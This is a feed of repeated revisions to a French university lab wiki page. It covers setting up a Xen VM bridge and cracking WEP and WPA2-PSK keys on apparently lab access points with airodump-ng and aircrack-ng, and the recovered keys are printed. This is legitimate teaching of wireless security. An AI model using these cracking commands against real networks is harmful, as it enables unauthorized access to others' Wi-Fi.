CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12342</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12342"/>
		<updated>2026-02-22T21:12:18Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Cassage de clé WIFI */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12341</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12341"/>
		<updated>2026-02-22T20:59:01Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* WPA2-PSK */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12340</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12340"/>
		<updated>2026-02-22T20:58:27Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12231</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12231"/>
		<updated>2026-02-10T17:50:41Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
